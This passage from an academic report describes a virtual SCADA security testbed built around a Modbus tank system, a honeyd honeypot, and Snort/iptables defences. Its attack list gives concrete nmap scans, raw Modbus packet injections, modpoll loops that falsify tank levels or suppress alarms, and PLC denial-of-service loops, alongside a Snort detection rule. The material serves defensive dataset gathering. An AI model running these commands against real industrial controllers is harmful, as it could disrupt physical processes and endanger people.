value is larger than or equal to the YS14 value (one of the 4 thresholds), then set the 
Y30 to true. Y30 is a coil address which is used to present the alarm. 
The above configuration files explains that the HMI data come from the master, 
which in turn come from the slaves. In the mbclient.config file, all the polling actions 
in Modbus network are defined. There are two commands, ‘&readholdingreg1’ and 
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‘&readholdingreg2’ (get the two tank’s water level separately). Function code 3 is 
‘Read multiple holding registers’. The whole setting can be interpreted as: the master 
read 1 (qty=1) holding register value from remote address 42210 to local address 
42210. The remote address in on the host 10.0.0.4 (mod_slave) port 502. The ‘re-
peattime’ sets the poll rate to every 100ms. 
[Get_Tank_Level] 
repeattime = 100 
fault_coil = 1340 
protocol = modbustcp 
&readholdingreg1 = function=3, uid=1, memaddr=42210, qty=1, re‐
moteaddr=42210 
&readholdingreg2 = function=3, uid=1, memaddr=42211, qty=1, re‐
moteaddr=42211 
type = tcpclient 
fault_holdingreg = 1340 
fault_inp = 1340 
retrytime = 5000 
host = 10.0.0.4 
fault_inpreg = 1340 
action = poll 
cmdtime = 100 
port = 502 
fault_reset = 65283 
With all the aforementioned configuration files, the tank system can transmit 
Modbus messages between the master and slaves as well as display production status 
on the HMI. This system is used as the attack target in the following chapters to 
gather dataset for further research. 
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Chapter 4 Honypot 
In chapter 3, a real industrial system is built to demonstrate the production pro-
cess. This system consist of three parts, the HMI (web server), the PLC (Modbus mas-
ter) and the senor/motor (Modbus slave). In order to entrap the hackers, the tank sys-
tem should be configured as a honeypot. Here, a honeypot is a trap set to detect, de-
flect, or, in some manner, counteract attempts at unauthorized use of information sys-
tems [12]. In this project, the problem is, this tank system is small even tiny, if a 
hacker uses network scan tools to collect the whole information of the network and 
find out only a few components exists, he or she may lose interest or be aware of it is 
a honeypot. So, a large-scale honeypot is needed to make them believe this is a real 
production system. In this chapter, the principle of the network scan tool—nmap will 
be introduced first, followed by its reverse engineering—honeypot. 
4.1. Principle of Network Scan 
The first step a hacker will take to hack into a network is to find out the topology, 
which includes the device IP address, open ports, protocols, services, device brand, 
firmware version and etc. With this information, hackers can build an attack path to 
the target. The most common and powerful tool to complete this task is nmap. It can 
gather all the live IP addresses in a certain network range and find out how many 
ports are open on each IP, as well as figure out which operating system it runs (also 
called the OS fingerprint) at the same time. For example, the nmap quick scan result 
of the tank system PLC (10.0.0.5) is as below: 
Scanning 10.0.0.5 [1000 ports] 
Discovered open port 21/tcp on 10.0.0.5 
Discovered open port 23/tcp on 10.0.0.5 
Discovered open port 111/tcp on 10.0.0.5 
Discovered open port 80/tcp on 10.0.0.5 
OS Fingerprint:  
Motorola SURFboard SB5120 cable modem (VxWorks 5.4) (91%) 
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The result shows the PLC has four open tcp ports and the device may be a 
Motorola SURFboard SB5120 cable modem. The operating system is VxWorks 5.4, 
here the 91% means the accuracy of the scan result. 
Nmap has a small database containing all the system behaviors during a scan. The 
tool conducts 6 or 7 tests on the target to see if the features of its responded tcp pack-
ets meet the database record. 
# SB5100E‐2.3.1.8‐SCM00‐NOSH, Hardware Version: 3, VxWorks Ver‐
sion: 5.4 
Fingerprint Motorola SURFboard SB5100E cable modem (VxWorks 5.4) 
Class Motorola | VxWorks | 5.X | broadband router 
CPE cpe:/o:motorola:vxworks:5 auto 
SEQ(SP=14‐1E%GCD=FA00|1F400|2EE00|3E800|4E200%ISR=99‐
A3%TI=I%II=I%SS=S%TS=U) 
OPS(O1=M200NW0%O2=M200NW0%O3=M200NW0%O4=M200NW0%O5=M200NW0%O6=M2
00) 
WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000) 
ECN(R=Y%DF=N%T=3B‐45%TG=40%W=2000%O=M200NW0%CC=N%Q=) 
T1(R=Y%DF=N%T=3B‐45%TG=40%S=O%A=S+%F=AS%RD=0%Q=) 
T2(R=N) 
T3(R=Y%DF=N%T=3B‐45%TG=40%W=2000%S=O%A=O%F=A%O=%RD=0%Q=) 
T4(R=Y%DF=N%T=3B‐45%TG=40%W=2000%S=A%A=Z%F=R%O=%RD=0%Q=) 
T5(R=Y%DF=N%T=3B‐45%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) 
T6(R=Y%DF=N%T=3B‐45%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) 
T7(R=N) 
U1(DF=N%T=3B‐
45%TG=40%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=I%RUCK=0%RUD=G) 
IE(DFI=S%T=3B‐45%TG=40%CD=S) 
The above OS fingerprint is for VxWorks 5.4, the tests take the format <test-
name>=<value> and are separated by the symbol ‘%’. All the testname is a property 
of the tcp session, e.g. W=2000 denotes tcp window scale size is 2000 bytes. The 
meaning of other testname can be found in nmap’s manual or [26]. 
4.2. Principle of Honeypot 
The best way to prevent network scanning is to isolate the whole network. How-
ever, if that happens, certainly the hacker data cannot be collected. But using a real 
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production system to let hackers exploit is also a big price. As a result, some fake sys-
tem – the honeypot must be built to solve this problem. The only mission of a honey-
pot is to bait the hackers, to see whether they can exploit the network, to find the 
weakness by analyzing the adversary’s behavior.  
There are three kinds of honeypots. The first kind is the pure honeypot, it is a 
fully production system used less frequently than the other two types due to its high 
cost. The second is the high-interaction honeypot, it imitates the production system 
services by software approach. The third one is the low-interaction honeypot, differ-
ent from the high-interaction one, it only simulates the most frequently used services, 
and some services may even be pseudo (e.g. a telnetd service with a login prompt, but 
can never establish a connection). In this project, both the high and low interaction 
honeypots are deployed in the testbed. The tank system is a high-interaction one, 
which is described in chapter 3. The low-interaction one is achieved by using an open 
source software –honeyd [25]. 
The honeyd is a daemon which can build any numbers of fake systems, e.g. Linux 
server, Windows workstation, PLC, network router and switch. The honeyd is a re-
verse engineering of nmap. It uses the nmap database (nmap-os-db) to simulate the 
operating system features. Network routes and subnetworks can be set in honyed’s 
configuration. For example, the enterprise network is 192.168.1.0/24 with a gateway 
192.168.1.1; the SCADA network is 192.168.2.0/24 with a gateway 192.168.2.1; and 
there could be a route link between 192.168.1.1 and 192.168.2.1. The honeyd network 
can be configured as complex as possible. From the hacker’s perspective, the more 
complex the network is, the more attention hackers pay to it. 
Honeyd works in the command line with a configuration file. Every different op-
erating system is a section in that file. To set up a large network, a great many sec-
tions need to be added. The following is a part of the honey configuration file in this 
project. 
create default 
32 
 
 
set default default tcp action filtered 
set default default udp action filtered 
set default default icmp action filtered 
set default personality "Linux 3.0" 
set default droprate in 0 
 
clone CustomNodeProfile‐0 default 
set CustomNodeProfile‐0 default tcp action filtered 
set CustomNodeProfile‐0 default udp action filtered 
set CustomNodeProfile‐0 default icmp action open 
add CustomNodeProfile‐0 tcp port 23 "bash /usr/share/hon‐
eyd/scripts/linux/telnetd.sh $ipsrc $sport $ipdst $dport 
/root/.config/ 
nova/config/haystackscripts/0" 
add CustomNodeProfile‐0 udp port 161 "perl /usr/share/hon‐
eyd/scripts/unix/general/snmp/fake‐snmp.pl public private ‐‐con‐
fig=scr 
ipts/unix/general" 
add CustomNodeProfile‐0 udp port 17185 open 
add CustomNodeProfile‐0 tcp port 111 open 
set CustomNodeProfile‐0 personality "VxWorks 12.0" 
set CustomNodeProfile‐0 droprate in 0 
add CustomNodeProfile‐0 tcp port 80 proxy 127.0.0.1:80 
add CustomNodeProfile‐0 tcp port 21 proxy 127.0.0.1:21 
add CustomNodeProfile‐0 tcp port 502 proxy 127.0.0.1:502 
add CustomNodeProfile‐0 tcp port 47808 proxy 127.0.0.1:47808 
set CustomNodeProfile‐0 ethernet "00:06:c3:1e:ff:c2" 
bind 10.0.0.7 CustomNodeProfile‐0 
The interpretation of the above file is: a template profile called ‘default’ is set 
with a ‘Linux 3.0’ OS fingerprint. All the tcp/udp/icmp packets are dropped. To simu-
late a real network, the drop rate parameter can randomly drop some packets. Here 
droprate 0 means no randomly drop. A new operating system profile called Custom-
NodeProfile-0 is derived from the ‘default’ profile. But most properties of the default 
are modified, e.g., it now accepts icmp packets and the personality is changed to 
‘VxWorks 12.0’. There are two ways to simulate the services, one is to use scripts. In 
the above example, every time a Telnet connection tries to establish, the request will 
be processed to the telnetd.sh scripts. If the connection is terminated, the scripts pro-
cess will be killed. The other way is to use a proxy. Taking the port 80 web service 
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proxy as an example, all the incoming HTTP requests will be handled by the local 
web server on the honeypot host. In the last two lines, both IP and MAC addresses are 
assigned to the profile. The result is when a network scan happens, the nmap could 
only find the above open ports and services. 
Editing the honeyd configuration files is tedious. To simplify this task, another 
open source software –Nova is used in this project. The most useful function of Nova 
[25] is the web console (Figure 10), many ready-to-use services and scripts can be se-
lected from combobox and automatically create the honeyd configuration, which 
saves a lot of time while deploying a honeypot. In Figure 10, a profile called Schnei-
der PLC is built and four nodes are created simply by assigning an IP range 10.0.0.5-
8. However, Nova does not support network route, to add subnetwork, the configura-
tion file needs to be modified manually. 
 
Figure 10: The Nova Interface 
With honeyd and Nova, the high-interaction honeypot (tank system), can be eas-
ily expanded into a large-scale network by using the honeyd proxy. In the next chap-
ter, the defense approach will be introduced about how to protect the honeypot. 
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Chapter 5 Defense System 
5.1. Intrusion Detection System 
5.1.1. NIDS Principle 
NIDS stands for network-based intrusion detection system, it is an intrusion de-
tection system that attempts to discover unauthorized access to a computer network by 
analyzing traffic on the network for signs of malicious activity [13]. 
NIDS and firewall share some commonalities, for example, both are deployed be-
tween internal and external network segments. The difference is firewalls are used to 
protect unauthorized access based on network ports, protocols and IP addresses; while 
NIDS uses preconfigured rules to examine the network data packets and detect mali-
cious behavior. If a hacker’s IP is in the firewall blacklist and he wants to access a 
company server, this session will be blocked. But if the hacker is not in the blacklist 
and sends some malicious information, the firewall can do nothing but the NIDS can 
detect and block the session (for block, more specifically, the NIPS should be de-
ployed). Intuitively, a firewall is like a lock of room, yet a NIDS is a surveillance 
camera which has a wider area to inspect. Most of the time, a NIDS is deployed be-
tween the network router and the Internet while firewall is deployed behind the router. 
The purpose is to let NIDS gather more information than the firewall. For instance, if 
a NIDS is set up inside the firewall, when a port scan happens, it will not log this be-
havior since most traffic has been filtered. 
IPS is the enhanced version of IDS, which stands for intrusion prevention sys-
tems, also known as intrusion detection and prevention systems (IDPS). The main 
functions of IPS are to identify malicious packets, log information, block malicious 
sessions and drop packets, finally raise alarms to the network administrator. IPS is 
considered as the extensions of IDS because they both monitor network traffic and 
system activities. The main difference is, unlike IDS, IPS works in-line and is able to 
proactively prevent/block intrusions that are detected [14]. As a result, IPS needs 
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more high availability and real-time performance, otherwise, the packets pass through 
it may experience latency.  
Like a firewall, NIDS has many commercial products which have a strong perfor-
mance, large bandwidth and good maintenance service. Yet in this report, snort is 
used as the NIDS, the reason is it is that open source and has many third-party tools. 
In fact, the coding regulation of the snort detection rules is already a de facto standard 
in NIDS industry. 
The main purpose of snort is to collect all the network packets that pass though 
the probe network adapter and analyzing the data flows by the rules, using pattern 
recognition to detect malicious packets.  
The first step is to sniff the packets over the whole network. It is realized by the 
promiscuous mode of network adapter. Once the adapter is working in promiscuous 
mode, it can receive all the packets transmitted through it, whether the packet data is 
correct or not. An example is sending a ping (ICMP echo request) with the wrong 
MAC address but the correct IP address. If an adapter is in normal mode, it will drop 
this frame, and the IP stack will neither discover nor respond to it. If the adapter is in 
promiscuous mode, the frame will still be collected. 
 The packets sniffed by snort can be encapsulated in varieties of network proto-
cols, so a snort protocol decoder is necessary. After the packets are decoded, all the 
sniffed data are in a uniform format. The next stage is preprocessing to reorganize 
these discrete data and generate the useful information. One example is that a user 
sends a long POST request to a web server, the decoder receives several packets and 
decodes them by the TCP protocol they used. Only after the preprocessing stage, the 
request can be reproduced and snort can know these packets formed a POST request. 
 After that comes the most important stage—rules matching. The rules in snort 
are written in plain text format, so people can easily read, understand and create it. 
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Once the snort starts up, all the rules will be loaded into memory and the detection en-
gine will match all the preprocessed data to these rules. If the data (i.e. the decoded 
information of the data packets) meet the rule set, the predefined actions will be trig-
gered and the network administrator will be notified (Figure 11) [15].  
Snort can work in either IDS or IPS mode. If snort is in a parallel connection, it 
can only raise a warning. This is called bypass mode or passive mode. While con-
nected serially, snort can cut off the suspicious session. This is named as block mode. 
Thus, bypass mode has a higher processing performance while block mode is more 
secure. But in SCADA network, the IDS devices should be configured with caution, 
and should only alert on events, rather than block them, as a false positive that blocks 
a valid Modbus function code could cause an unintentional failure within the control 
system. [16] 
 
Figure 11: Workflow of Snort 
5.1.2. Snort Rules 
Snort extracts the network attack features as signatures and stores them in the rule 
files. A rule file is named by the detection protocol. For instance, the icmp.rules is 
used to prevent attack behavior targeting the icmp protocol. Actions can also be pre-
defined in the rule files. IDS actions can include Alert (generate a custom message 
and log the packet), Log (log the packet), and Pass (ignore the packet), while IPS ac-
tions can also include Drop (drop the packet and log it), Reject (drop the packet and 
initiate a TCP reset to kill the session), and sDrop (drop the packet, but do not log it) 
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[17]. An example rule for preventing the Modbus slaves to enter listen only mode is 
as below:  
alert tcp any any ‐> $HOME_NET 502 (flow:from_client,estab‐
lished;  
content:"|00 00|"; offset:2; depth:2;  
content:"|08 00 04|"; offset:7; depth:3;  
msg:"SCADA_IDS: Modbus TCP ‐ Force Listen Only Mode";refer‐
ence:url,digitalbond.com/tools/quickdraw/modbus‐tcp‐rules;  
classtype:attempted‐dos;  
detection_filter:track by_src,  
count 3, seconds 2; 
sid:1111001; rev:2; priority:1; 
resp: reset_both;) 
The ‘alert’ means this rule only log and alert packets rather than dropping it. The 
‘tcp’ means this rule is configured for TCP protocol. Modbus TCP protocol is running 
over the TCP layer, so this rule is configured as tcp rather than Modbus. ‘any any -> 
$HOME_NET 502’ stands for the external network segment and port together with 
the internal network segment and port. Here, for Modbus, the internal port is always 
502. The ‘content:"|00 00|"; offset:2; depth:2’ means this is a Modbus packet. The 
‘content:"|08 00 04|"; offset:7; depth:3’ is the most important part of the rule. It means 
if the 7 to 9 bytes of the payload is ’08 00 04’ then this message is trying to force the 
slave enter listen only mode. In this rule, ‘seconds’, ‘count’ field are also added in or-
der to block the messages when they exceed the message sending rate threshold. The 
‘resp’ field defines the response action, ‘reset_both’ can reset both the server and cli-
ent TCP session.  
Rules can also be associated with each other. There are two kinds of special ac-
tions in snort, ‘Activate’ and ‘Dynamic’. Rules with activated action can activate 
other rules while dynamic ones can only be enabled when other rules activate it. 
These rules can be configured in some complex scenarios. For instance, it is safe if 
the master accesses slave A or slave B independently, but the interval between them is 
larger than 5 seconds. Assume the access interval time less than 1 second is a mali-
cious behavior, the two actions above can be used to configure the associated rules. If 
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slave A is accessed, one rule (called it rule A) will activate one other rule (called it 
rule C), the same to slave B and rule B. If the ‘seconds’ values in rule C are less than 
1, this rule will raise an alert. 
5.2. Firewall 
The firewall is the most common network security appliance deployed at the edge 
of two networks. In this project, a standard Linux firewall—iptables is used. Similar 
to snort, iptables also uses rules to filter the network stream. However, all the rules of 
iptables are stored in one file and they check packets from the first rule entry to the 
last one. For example, if the first entry filtered the port 502 packets, then all the Mod-
bus packets would not be checked by the subsequent entries. The detailed information 
about iptables can be obtained from the Linux ‘man iptables’ command or its website 
http://www.netfilter.org/. 
5.3. Honeywall 
The defense system in this testbed is called Honeywall [18]. It is a combination of 
snort and iptables with a command line menu interface (Figure 12) as well as a web 
administration console (Figure 13). The snort of Honeywall has two instances, one 
works in IDS mode, and the other works in IPS mode (snort_inline). The IDS snort 
works standalone in Honeywall, while the IPS snort must work with the iptables. The 
iptables here is doing the network packets preprocessing to reduce the amount of 
packets, to improve the IPS performance and detection accuracy. And also with the 
iptables packets transfer in bridge mode, the whole Honeywall works like a gateway, 
the hackers would not even notice its existence. 
‐A FORWARD ‐j BlackList  
‐A FORWARD ‐j WhiteList  
‐A FORWARD ‐d 10.0.0.255 ‐j ACCEPT  
‐A FORWARD ‐d 255.255.255.255 ‐j ACCEPT  
‐A FORWARD ‐p tcp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state 
NEW ‐j LOG ‐‐log‐prefix "INBOUND TCP: " ‐‐log‐level 7  
‐A FORWARD ‐p tcp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state 
NEW ‐j QUEUE  
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‐A FORWARD ‐p udp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state 
NEW ‐j LOG ‐‐log‐prefix "INBOUND UDP: " ‐‐log‐level 7  
‐A FORWARD ‐p udp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state 
NEW ‐j QUEUE  
‐A FORWARD ‐p icmp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐
state NEW ‐j LOG ‐‐log‐prefix "INBOUND ICMP: " ‐‐log‐level 7  
‐A FORWARD ‐p icmp ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐
state NEW ‐j QUEUE  
‐A FORWARD ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state NEW ‐j 
LOG ‐‐log‐prefix "INBOUND OTHER: " ‐‐log‐level 7  
‐A FORWARD ‐m physdev  ‐‐physdev‐in eth0 ‐m state ‐‐state NEW ‐j 
QUEUE  
‐A FORWARD ‐m physdev  ‐‐physdev‐in eth0 ‐j QUEUE  
The above is the forward policy of iptables, which only applies to those 
forwarded packets (packets transmit through the Honeywall). All the tcp, udp, icmp 
and other (protocol) packets from new established sessions of eth0 are logged first by 
using the ‘LOG –log prefix’ parameter, then all these packets are sent to the snort 
userspace by using the ‘QUEUE’ parameter. 
 
Figure 12: Honeywall Administration Menu 
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Figure 13: Honeywall Administration Web Console  
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Chapter 6 Attack Took Kit 
Previous chapters discuss the attack targets and defense system in this project. In 
this chapter, three attack tools will be introduced to make this testbed become a com-
plete security ecosystem. 
6.1. Kali 
Kali [19] is not a single attack tool. It is a Linux distribution with a great many 
attack toolkits. Figure 14 shows the tool list menu. The reason to build these toolkits 
into a Linux is for the easy deployment consideration. Kali can be installed on the 
hard drive or simply boot from a CD. There are three frequently used tools in Kali. 
First is the nmap which is described in 4.1. Second is Metasploit [20], it mainly fo-
cuses on penetration testing, trying to get the privileges to access the target system. In 
this project, Metasploit is used to scan the virtual PLC’s web administration console, 
if the account and password are cracked, the PLC is compromised. The Metasploit in 
latest Kali is not up-to-date and only has a command line interface. In this project we 
installed the latest community version with a web interface, which makes pentest 
much easier. The third tool is modpoll. Modpoll can send Modbus instructions to 
master and slave. Most attacks targeting Modbus in the attack list of chapter 7 are 
launched by Modpoll. However modpoll is not originally included in the Kali Linux 
and need download from its website. 
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Figure 14: Kali Linux Tool Menu 
6.2. Nexpose 
Nexpose [21] and Metasploit are from the same company, but they have different 
concerns about security, nexpose focuses on vulnerability scan. For example, a PLC 
has a vulnerability which is easy to be compromised in Denial of Service (DOS) at-
tack, the Metasploit may not find this vulnerability, but nexpose has a good possibility 
to discover it. Nexpose also has a web console to conduct all-round vulnerability scan 
(Figure 15). The primary purpose of Metasploit and nexpose is to scan the target 
testbed and find out the weakness of it. If the virtual PLC has vulnerabilities other 
than a real PLC, the hacker may easily be aware it is a honeypot trap. 
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Figure 15: Nexpose Web Console 
6.3. Samurai 
The third tool is called samurai. Similar to Kali, it is also a Linux distribution 
with many attack tools. But the tools in Samurai are industrial-oriented, e.g. modscan, 
it only scans the Modbus devices. Samurai [22] also has attack tools dedicated to 
Smart Grid, which can be used in the future research of Smart Grid security. Figure 
16 shows the Samurai tools menu. 
 
Figure 16: Samurai Tools Menu 
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Chapter 7 Attack Procedure and Dataset 
7.1. Attack Procedure 
Chapter 3 to 6 discussed the composition of this SCADA security testbed. In this 
chapter, the attack process will be introduced to show how to use this testbed to make 
attack and gather the data generated during the process. 
The attacks are divided into three categories. First is the reconnaissance, it is also 
the first stage of hacking behavior. At this stage, hackers are trying to use network 
scan tool to find out the topology of the target network, to get a list of the devices de-
ployed on that network as well as their known vulnerabilities. The final goal of this 
stage is to find a breakthrough target device (IP). The second attack category is com-
mand injection. At this stage, hackers are trying to send malicious Modbus commands 
to affect the normal production process, for the tank system, turn on the pump re-
motely and make the water level exceeds the threshold without an alarm is a typical 
command injection attack. The third one is DoS attacks. By conducting a successful 
DoS attack, the hackers can make the PLC out of service which definitely causes bad 
impact to the production system. 
Most attacks can be launched by nmap, Modpoll, Modbus Poll and modscan 
(Modpoll and Modbus Poll are two different tools, Modbus Poll is a very powerful 
Modbus testing tool for Windows Platform, while Modpoll is a command line tool on 
multiplatform). And all the data generated during the attack process can be gathered 
by tcpdump and snort. In the tcpdump log, all the Modbus packets can be analyzed (it 
is better to use the Wireshark to analyze packets), while in snort log, it showed the al-
ready known attacks targeting Modbus. By analyzing the tcpdump and snort log using 
machine learning algorithms, new attack patterns can be found and added into the 
snort ruleset, then after switch the snort into inline mode, all these attacks can be 
blocked and the PLC can work in an attack-free environment (Figure 17). 
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Figure 17: Testbed Attack Process 
7.2. Attack List 
The attack list below shows the mentioned three categories of attacks. Every at-
tack is assigned a code and two gathered data file, e.g. the first attack in reconnais-
sance REC_01 has two file REC_01_TDP.out and REC_01_SNT.log. The former one 
is captured by tcpdump and the latter is generated by snort. The ALARM in the list 
means whether or not the tank system gives the user an alert during the attack. For 
some attack, the tank system still works fine and there is no alert; while for some oth-
ers, the tank system may warn the user. ‘ALARM’ is an important feature in the intru-
sion prevention machine learning algorithm. ‘ATTACK’ means how to launch that at-
tack. For instance, the REC_01 attack need to log in Kali using root account (the # 
prompt) and execute command ‘nmap -T4 -F 10.0.0.0/24’. 
RECONNAISSANCE 
1 
CODE REC-01 
PURPOSE SCADA network IP range quick scan 
ATTACK Kali#  nmap -T4 -F 10.0.0.0/24 
ALARM NO 
2 CODE REC-02 
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PURPOSE SCADA network single IP intense scan; device identification scans 
ATTACK Kali#  nmap -T4 -A -v 10.0.0.5 
ALARM NO 
3 
CODE REC-03 
PURPOSE Modbus address and function code scan 
ATTACK Kali#  nmap --script modbus-discover.nse --script-args='modbus-dis-
cover.aggressive=true' -p 502 10.0.0.5 
ALARM NO 
4 
CODE REC-04 
PURPOSE PLC memory full scan 
ATTACK Kali# scan.sh 
ALARM NO 
COMMAND INJECTION 
1 
CODE CI-01 
PURPOSE The payload size is right while the payload it is filled with all ‘0’ or all 
‘1’ or all ‘F’ or random bits. 
ATTACK WIN# Modbus Poll->Functions->Test Center 
00 01 00 00 00 09 00 00 00 00 00 00 00 00 00 
00 01 00 00 00 09 11 11 11 11 11 11 11 11 11 
00 01 00 00 00 09 FF FF FF FF FF FF FF FF FF 
00 01 00 00 00 09 45 75 A4 53 21 88 BA 1C E7 
ALARM NO 
NOTE Only the payload with all ‘1’ has snort log, because ‘00’, ‘FF’ are invalid 
function codes. 
2 
CODE CI-02 
PURPOSE Incorrect payload size 
ATTACK WIN# Modbus Poll->Functions->Test Center 
00 01 00 00 00 08 01 10 7D D2 00 01 02 FF FB 
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00 01 00 00 00 10 01 10 7D D2 00 01 02 FF FB 
00 01 00 00 00 00 01 10 7D D2 00 01 02 FF FB 
00 01 00 00 00 FF 01 10 7D D2 00 01 02 FF FB 
00 01 00 00 00 74 01 10 7D D2 00 01 02 FF FB 
ALARM NO 
NOTE When the injected payload size is smaller than the correct payload size, 
snort will give an ‘Incorrect Packet Length’ warning; 
3 
CODE CI-03 
PURPOSE Out of bound value input (The pump speed is 200/-200) 
ATTACK Kali# modpoll -0 -r 32210 10.0.0.5 -- 200 
Kali# modpoll -0 -r 32210 10.0.0.5 -- -200 
ALARM YES 
NOTE The alarm raised immediately. 
4 
CODE CI-04 
PURPOSE Regular pump speed without stop 
ATTACK Kali# modpoll -0 -r 32210 10.0.0.5 5 
ALARM YES 
NOTE The alarm raised. 
5 
CODE CI-05 
PURPOSE Slow pump speed without stop 
ATTACK Kali# modpoll -0 -r 32210 10.0.0.5 -1 
ALARM YES 
NOTE The alarm raised. 
6 
CODE CI-06 
PURPOSE Change the tank alarm threshold, even if the water level exceeds the 
threshold, the alarm will not rise. 
ATTACK Kali#  
while true;  
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do  
modpoll -0 -1 -r 42212 10.0.0.5 120 2>&1 >/dev/null;  
modpoll -0 -1 -r 42214 10.0.0.5 120 2>&1 >/dev/null;  
done 
ALARM YES 
NOTE Though the threshold is changed, the alarm still raises. The reason is the 
scan rate of PLC is faster than the input command. 
7 
CODE CI-07 
PURPOSE Change the pump speed repetitively which keeps the pump working 
without an alarm 
ATTACK Kali#  
while true;  
do  
modpoll -0 -1 -r 42212 10.0.0.5 2 2>&1 >/dev/null;  
sleep 1; 
modpoll -0 -1 -r 42214 10.0.0.5 -- -2 2>&1 >/dev/null;  
sleep 1; 
done 
ALARM NO 
NOTE Though the threshold is changed, the alarm still raises. The reason is the 
scan rate of PLC is faster than the input command. 
8 
CODE CI-08 
PURPOSE Change the tank level directly 
ATTACK Kali#  
while true;  
do  
modpoll -0 -1 -r 42210 10.0.0.5 50 2>&1 >/dev/null;  
modpoll -0 -1 -r 42211 10.0.0.5 50 2>&1 >/dev/null;  
done 
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ALARM NO 
NOTE Assume before command injection, the water level has already triggered 
an alarm. During the injection attack, the water level of 2 tanks remains 
50. If the command rate is fast enough, there will be no alarm. Otherwise 
the alarm still raises sporadically. 
9 
CODE CI-09 
PURPOSE Change the tank level to negative value 
ATTACK Kali#  
while true;  
do  
modpoll -0 -1 -r 42210 10.0.0.5 -- -50 2>&1 >/dev/null;  
modpoll -0 -1 -r 42211 10.0.0.5 -- -50 2>&1 >/dev/null;  
done 
ALARM NO 
NOTE Assume before command injection, the water level has already triggered 
an alarm. During the injection attack, the water level of 2 tanks remains 
the former value. However the water level column disappeared. If the 
command rate is fast enough, there will be no alarm. Otherwise the alarm 
still raises sporadically. 
DOS 
1 
CODE DOS-01 
PURPOSE Massive Modbus scans to make PLC enter denial-of-service 
ATTACK Kali# while true; do; ~/scan.sh>/dev/null &;done 
ALARM NO 
NOTE Tuning the pump speed experiences latency.  
2 
CODE DOS-01 
PURPOSE Massive Modbus instruction with incorrect CRC to make PLC enter de-
nial-of-service 
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ATTACK Kali# for i in {1..10000}; do modpoll -m enc -t 3 -1 -0 -r 32210 -l 1 
10.0.0.5 >/dev/null 2>&1; done 
ALARM NO 
NOTE Tuning the pump speed experiences latency.  
Table 4: Testbed Attack List 
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Chapter 8 Testbed Configuration Detail 
In this chapter, the setup information of the whole testbed will be discussed. The 
testbed is implemented by pure software approach, so, no hardware device is needed 
in this project. It can be deployed on a single computer which is good for personal re-
search purpose. 
8.1. Virtual Machine 
In this project, all the targets, the defense system and attack toolkits are deployed 
on virtual machines with Linux OS. VMware Player is a free virtual machine software 
used in this project, however other VM software (e.g. virtualbox) can be used, but 
need image conversion and testing. 
There are two virtual machines to form the attack targets. The first one is Nova 
(10.0.0.3). It is deployed with the virtual PLC, in other words, the Modbus master 
(client). Honeyd is also deployed in Nova, which can complement the other PLC ser-
vices (telnetd, ftpd) and make the honeypot become a large-scale network. 
The other one is Mod_Slave (10.0.0.4) which also belongs to the tank system. 
Mod_Slave and Nova communicate with each other by Modbus protocol. Mod_Slave 
also can be an attack target, but it is not included in the attack list above, because 
most attack patterns of slaves are already included in the masters. 
The defense system is Honeywall, because it works in bridge mode, so only an 
administration IP address is assigned to it. The Honeywall is a single VMware image 
which can be downloaded from its website. However, the iptables policies need to be 
modified, because the original one only support outbound packets queuing, i.e. only 
the packets from the internal network will be queued and handled by the snort. Also 
the original snort in Honeywall has no a Modbus rule, it must be added manually. 
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The left three ones are the attack toolkits. Kali (192.168.100.11), Nexpose 
(192.168.100.22) and Samurai (192.168.100.33), each one is deployed on a single 
Linux. The detailed information about the virtual machines is in 8.3. 
8.2. Network Topology 
All the mentioned virtual machines and the Windows host are connected by 4 vir-
tual networks (Figure 18). VMnet1 (10.0.0.0/24) is the internal production network 
for the tank system and the Honeyd. VMnet2 (172.16.1.0/24) is the administration 
network for the whole testbed. It is mainly used to access the Linux terminal and ad-
ministration web console. VMnet3 (192.168.100.0/24) is the external attack network, 
all the attack toolkits are deployed in this network. Honeywall routes packets between 
VMnet1 and VMnet3. In the future, the interface on Honeywall of the Vmnet3 can 
connect to the Internet to gather real attack data. The VMnet8 is the NAT network, it 
lets the virtual machines connect to the Internet and update software packages. The 
network topology of the testbed is also demonstrated in Figure 1. 
 
Figure 18: Virtual Network Setting 
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8.3. Testbed Installation 
Virtual Machine Host Name Nova 
Interface and IP address Eth0: 10.0.0.3/24 (production network) 
Eth1: 172.16.1.3/24 (administration network) 
Extra Route route add default dev eth0 (/etc/rc.local) 
OS Information Ubuntu 12.04.5 LTS 
Virtual Machine Configuration Memory 512MB 
Processor 1 
Hard Disk(SCSI) 20GB 
Network Adapter 1 VMnet1 
Network Adapter 2 VMnet2 
Installed Software Nova (https://github.com/DataSoft/Nova) 
MBLogic (http://sourceforge.net/projects/mblogic/) 
Account/Password SSH (ssh://172.16.1.3): root/root 
Nova web console (https://172.16.1.3:8080/): root/root 
HMI (http://172.16.1.3:8082/hmidemo.xhtml) 
MBLogic System Status (http://172.16.1.3:8081/index.html) 
Run Method Start Nova: 
Login SSH root account 
quasar 
Login Nova web console, click ‘Start Haystack’ and ‘Start 
Packet Classifier’ on the upper-right quarter 
Start MBLogic: 
Login SSH root account 
cd mblogic 
./mblogic.sh 
Notes Start the mod_slave.sh on Mod_Slave first and then start 
mblogic.sh on this machine. 
Table 5: Nova Configuration 
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Virtual Machine Host Name Mod_Slave 
Interface and IP address Eth0: 10.0.0.4/24 (production network) 
Eth1: 172.16.1.4/24 (administration network) 
Extra Route route add default dev eth0 (/etc/rc.local) 
OS Information Ubuntu 12.04.5 LTS 
Virtual Machine Configuration Memory 512MB 
Processor 1 
Hard Disk(SCSI) 20GB 
Network Adapter 1 VMnet1 
Network Adapter 2 VMnet2 
Installed Software MBLogic (http://sourceforge.net/projects/mblogic/) 
Account/Password SSH (ssh://172.16.1.3): root/root 
Run Method Start MBLogic: 
Login SSH root account 
cd mblogic 
./mod_slave.sh 
Notes The mod_slave.sh should start before the mblogic.sh. 
Table 6: Mod_Slave Configuration 
 
